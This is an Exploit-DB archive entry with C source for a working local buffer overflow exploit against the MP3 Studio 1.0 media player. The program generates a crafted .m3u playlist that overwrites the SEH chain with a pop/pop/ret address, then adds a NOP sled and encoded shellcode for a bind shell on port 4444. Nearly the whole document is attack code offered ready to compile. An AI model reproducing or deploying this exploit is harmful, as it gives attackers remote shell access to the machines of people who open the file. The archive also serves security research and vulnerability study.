Exploit-DB #9661
Description: MP3 Studio 1.0 - '.m3u' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-09-14
Author: dmc

Exploit:
/* mplode.c vs MP3 Studio v1.0
 * Tested on: Windows 2000 SP4
 *
 * Author: Dominic Chell <dmc@deadbeef.co.uk>
 *
 * PoC: http://www.milw0rm.com/exploits/9277
 * The PoC author said he could not exploit it so I decided to try.
 *
 * A bit of fun for a boring night in Peterborough :(
 * Good luck finding someone who uses this media player.
 */

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>

#define usage(){ (void)fprintf(stderr, "MPlode vs MP3 Studio v1.0\n(C) dmc <dmc@deadbeef.co.uk>\n\nExample: mplode.exe [output file]\n");}
#define error(e){ (void)fprintf(stderr,"%s\n",e); return -1;}

// bind shell lport = 4444
char shellcode[] =
	"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf7"
	"\x82\xf8\x80\x83\xeb\xfc\xe2\xf4\x0b\xe8\x13\xcd\x1f\x7b\x07\x7f"
	"\x08\xe2\x73\xec\xd3\xa6\x73\xc5\xcb\x09\x84\x85\x8f\x83\x17\x0b"
	"\xb8\x9a\x73\xdf\xd7\x83\x13\xc9\x7c\xb6\x73\x81\x19\xb3\x38\x19"
	"\x5b\x06\x38\xf4\xf0\x43\x32\x8d\xf6\x40\x13\x74\xcc\xd6\xdc\xa8"
	"\x82\x67\x73\xdf\xd3\x83\x13\xe6\x7c\x8e\xb3\x0b\xa8\x9e\xf9\x6b"
	"\xf4\xae\x73\x09\x9b\xa6\xe4\xe1\x34\xb3\x23\xe4\x7c\xc1\xc8\x0b"
	"\xb7\x8e\x73\xf0\xeb\x2f\x73\xc0\xff\xdc\x90\x0e\xb9\x8c\x14\xd0"
	"\x08\x54\x9e\xd3\x91\xea\xcb\xb2\x9f\xf5\x8b\xb2\xa8\xd6\x07\x50"
	"\x9f\x49\x15\x7c\xcc\xd2\x07\x56\xa8\x0b\x1d\xe6\x76\x6f\xf0\x82"
	"\xa2\xe8\xfa\x7f\x27\xea\x21\x89\x02\x2f\xaf\x7f\x21\xd1\xab\xd3"
	"\xa4\xd1\xbb\xd3\xb4\xd1\x07\x50\x91\xea\xe9\xdc\x91\xd1\x71\x61"
	"\x62\xea\x5c\x9a\x87\x45\xaf\x7f\x21\xe8\xe8\xd1\xa2\x7d\x28\xe8"
	"\x53\x2f\xd6\x69\xa0\x7d\x2e\xd3\xa2\x7d\x28\xe8\x12\xcb\x7e\xc9"
	"\xa0\x7d\x2e\xd0\xa3\xd6\xad\x7f\x27\x11\x90\x67\x8e\x44\x81\xd7"
	"\x08\x54\xad\x7f\x27\xe4\x92\xe4\x91\xea\x9b\xed\x7e\x67\x92\xd0"
	"\xae\xab\x34\x09\x10\xe8\xbc\x09\x15\xb3\x38\x73\x5d\x7c\xba\xad"
	"\x09\xc0\xd4\x13\x7a\xf8\xc0\x2b\x5c\x29\x90\xf2\x09\x31\xee\x7f"
	"\x82\xc6\x07\x56\xac\xd5\xaa\xd1\xa6\xd3\x92\x81\xa6\xd3\xad\xd1"
	"\x08\x52\x90\x2d\x2e\x87\x36\xd3\x08\x54\x92\x7f\x08\xb5\x07\x50"
	"\x7c\xd5\x04\x03\x33\xe6\x07\x56\xa5\x7d\x28\xe8\x07\x08\xfc\xdf"
	"\xa4\x7d\x2e\x7f\x27\x82\xf8\x80";

char *seh = "\xC4\x2A\x02\x75";
//ws2help.dll - 0x75022AC4 - pop/pop/ret
char *nextseh = "\xeb\x10\x90\x90";
// short jmp nop nop

int main(int argc, char *argv[])
{
	char outfile[20];
	if(argc < 2)
	{
		usage();
		return 0;
	}

	if(strlen(argv[1])<15)
	{
		strncpy(outfile, argv[1], 14);
		outfile[14] = '\0';
	}
	else strcpy(outfile, "mplode.m3u");

	FILE *fp = fopen(outfile, "w");
	if (!fp) error("[*] Cannot output file\n");

	fwrite("http://", 7, 1, fp);
	for (int i=0; i<4103; i++)
	{
		fwrite("\x41", 1, 1, fp);
	}
	
	fwrite(nextseh, 4, 1, fp);
	fwrite(seh, 4, 1, fp);
	
	for (int i=0; i<500; i++)
	{
		fwrite("\x90", 1, 1, fp);
	}
	
	fwrite(shellcode, sizeof(shellcode), 1, fp);

	fclose(fp);

	fprintf(stderr, "MPlode vs MP3 Studio v1.0\n(C) dmc <dmc@deadbeef.co.uk>\n\n", outfile);
	fprintf(stderr, "[*] Success, exploit written to %s\n", outfile);

	exit(0);

	return 0;
}

// milw0rm.com [2009-09-14]